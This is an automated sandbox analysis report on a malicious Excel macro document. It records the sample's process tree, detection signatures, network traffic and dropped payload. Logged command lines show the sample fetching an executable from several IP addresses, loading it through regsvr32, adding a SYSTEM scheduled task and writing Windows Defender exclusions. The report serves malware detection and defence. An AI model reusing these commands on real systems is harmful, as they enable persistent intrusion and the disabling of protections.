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Windows Analysis Report Claim-838392655-09242021.xls

Overview

General Information

Sample Name:	Claim-838392655-09242021.xls
Analysis ID:	491203
MD5:	295dbcf85c2baffd99e4670c21afc93c
SHA1:	3dfb83a771615b879d20445ff5e5143d5846de6a
SHA256:	acf0a503e9bdf8a32edfb667776fd159a70f4f9173c01c024c82bb6dd658e451
Tags:	xls
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Sigma detected: Schedule system process

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Office process drops PE file

Writes to foreign memory regions

Uses cmd line tools excessively to alter registry or file data

Sigma detected: Microsoft Office Product Spawning Windows Shell

Allocates memory in foreign processes

Injects code into the Windows Explorer (explorer.exe)

Sigma detected: Regsvr32 Command Line Without DLL

Drops PE files to the user root directory

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Yara detected hidden Macro 4.0 in Excel

Uses schtasks.exe or at.exe to add and modify task schedules

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Downloads executable code via HTTP

Abnormal high CPU Usage

Drops files with a non-matching file extension (content does not match file extension)

PE file does not import any functions

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Document contains embedded VBA macros

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2824 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 1320 cmdline: regsvr32 -silent ..\Fiosa.der MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2196 cmdline: -silent ..\Fiosa.der MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 2592 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

schtasks.exe (PID: 2820 cmdline: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24 MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

regsvr32.exe (PID: 1516 cmdline: regsvr32 -silent ..\Fiosa1.der MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2152 cmdline: -silent ..\Fiosa1.der MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 3060 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

regsvr32.exe (PID: 2972 cmdline: regsvr32 -silent ..\Fiosa2.der MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2012 cmdline: -silent ..\Fiosa2.der MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 2100 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

regsvr32.exe (PID: 1812 cmdline: regsvr32.exe -s 'C:\Users\user\Fiosa.der' MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2788 cmdline: -s 'C:\Users\user\Fiosa.der' MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 536 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

reg.exe (PID: 840 cmdline: C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Yiiocubi' /d '0' MD5: 9D0B3066FE3D1FD345E86BC7BCCED9E4)

reg.exe (PID: 2188 cmdline: C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Nqsaq' /d '0' MD5: 9D0B3066FE3D1FD345E86BC7BCCED9E4)

regsvr32.exe (PID: 2684 cmdline: regsvr32.exe -s 'C:\Users\user\Fiosa.der' MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1184 cmdline: -s 'C:\Users\user\Fiosa.der' MD5: 432BE6CF7311062633459EEF6B242FB5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
Claim-838392655-09242021.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -silent ..\Fiosa.der, CommandLine: regsvr32 -silent ..\Fiosa.der, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2824, ProcessCommandLine: regsvr32 -silent ..\Fiosa.der, ProcessId: 1320

Sigma detected: Regsvr32 Command Line Without DLL

Show sources

Source: Process started

Author: Florian Roth: Data: Command: -silent ..\Fiosa.der, CommandLine: -silent ..\Fiosa.der, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: regsvr32 -silent ..\Fiosa.der, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 1320, ProcessCommandLine: -silent ..\Fiosa.der, ProcessId: 2196

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24, CommandLine: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\SysWOW64\explorer.exe, ParentImage: C:\Windows\SysWOW64\explorer.exe, ParentProcessId: 2592, ProcessCommandLine: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24, ProcessId: 2820

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Claim-838392655-09242021.xls

ReversingLabs: Detection: 26%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	ReversingLabs: Detection: 28%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Binary string: c:\chart-Green\Vowel-list\Place\935\Day.pdb source: regsvr32.exe, 00000005.00000002.522715533.000000001002A000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.576566085.000000001002A000.00000002.00020000.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1000AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0008AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0008AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_0008AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 23_2_0008AEB4 FindFirstFileW,FindNextFileW,

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 44466.4649013889[1].dat.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 190.14.37.173:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 190.14.37.173:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 27 Sep 2021 09:10:25 GMTContent-Type: application/octet-streamContent-Length: 495616Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44466.4649013889.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 1c 54 0a 25 7d 3a 59 25 7d 3a 59 25 7d 3a 59 e6 72 5a 59 26 7d 3a 59 b2 b9 44 59 24 7d 3a 59 02 bb 47 59 3e 7d 3a 59 02 bb 54 59 a5 7d 3a 59 e6 72 64 59 22 7d 3a 59 25 7d 3b 59 80 7d 3a 59 02 bb 55 59 71 7d 3a 59 02 bb 40 59 24 7d 3a 59 02 bb 46 59 24 7d 3a 59 02 bb 43 59 24 7d 3a 59 52 69 63 68 25 7d 3a 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 79 5f 07 45 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 90 02 00 00 f0 0e 00 00 00 00 00 df 31 00 00 00 10 00 00 00 a0 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 11 00 00 10 00 00 d4 fe 07 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 3f 07 00 d6 00 00 00 04 39 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 11 00 e0 0f 00 00 70 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 8e 02 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b6 a0 04 00 00 a0 02 00 00 b0 04 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 0b 0a 00 00 50 07 00 00 10 00 00 00 50 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 e6 24 00 00 00 60 11 00 00 30 00 00 00 60 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 27 Sep 2021 09:10:30 GMTContent-Type: application/octet-streamContent-Length: 495616Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44466.4649013889.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 1c 54 0a 25 7d 3a 59 25 7d 3a 59 25 7d 3a 59 e6 72 5a 59 26 7d 3a 59 b2 b9 44 59 24 7d 3a 59 02 bb 47 59 3e 7d 3a 59 02 bb 54 59 a5 7d 3a 59 e6 72 64 59 22 7d 3a 59 25 7d 3b 59 80 7d 3a 59 02 bb 55 59 71 7d 3a 59 02 bb 40 59 24 7d 3a 59 02 bb 46 59 24 7d 3a 59 02 bb 43 59 24 7d 3a 59 52 69 63 68 25 7d 3a 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 79 5f 07 45 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 90 02 00 00 f0 0e 00 00 00 00 00 df 31 00 00 00 10 00 00 00 a0 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 11 00 00 10 00 00 d4 fe 07 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 3f 07 00 d6 00 00 00 04 39 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 11 00 e0 0f 00 00 70 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 8e 02 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b6 a0 04 00 00 a0 02 00 00 b0 04 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 0b 0a 00 00 50 07 00 00 10 00 00 00 50 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 e6 24 00 00 00 60 11 00 00 30 00 00 00 60 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 27 Sep 2021 09:10:32 GMTContent-Type: application/octet-streamContent-Length: 495616Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44466.4649013889.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 1c 54 0a 25 7d 3a 59 25 7d 3a 59 25 7d 3a 59 e6 72 5a 59 26 7d 3a 59 b2 b9 44 59 24 7d 3a 59 02 bb 47 59 3e 7d 3a 59 02 bb 54 59 a5 7d 3a 59 e6 72 64 59 22 7d 3a 59 25 7d 3b 59 80 7d 3a 59 02 bb 55 59 71 7d 3a 59 02 bb 40 59 24 7d 3a 59 02 bb 46 59 24 7d 3a 59 02 bb 43 59 24 7d 3a 59 52 69 63 68 25 7d 3a 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 79 5f 07 45 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 90 02 00 00 f0 0e 00 00 00 00 00 df 31 00 00 00 10 00 00 00 a0 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 11 00 00 10 00 00 d4 fe 07 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 3f 07 00 d6 00 00 00 04 39 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 11 00 e0 0f 00 00 70 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 8e 02 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b6 a0 04 00 00 a0 02 00 00 b0 04 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 0b 0a 00 00 50 07 00 00 10 00 00 00 50 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 e6 24 00 00 00 60 11 00 00 30 00 00 00 60 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /44466.4649013889.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.173Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44466.4649013889.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 111.90.148.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44466.4649013889.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.115.111Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.173

Source: regsvr32.exe, 00000005.00000002.519787979.0000000002370000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.575187514.00000000020D0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000004.00000002.523226546.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.519424175.0000000001E40000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.578213273.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.574806742.0000000001C10000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000005.00000002.519787979.0000000002370000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.575187514.00000000020D0000.00000002.00020000.sdmp, explorer.exe, 00000008.00000002.906659825.0000000002070000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /44466.4649013889.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.173Connection: Keep-Alive
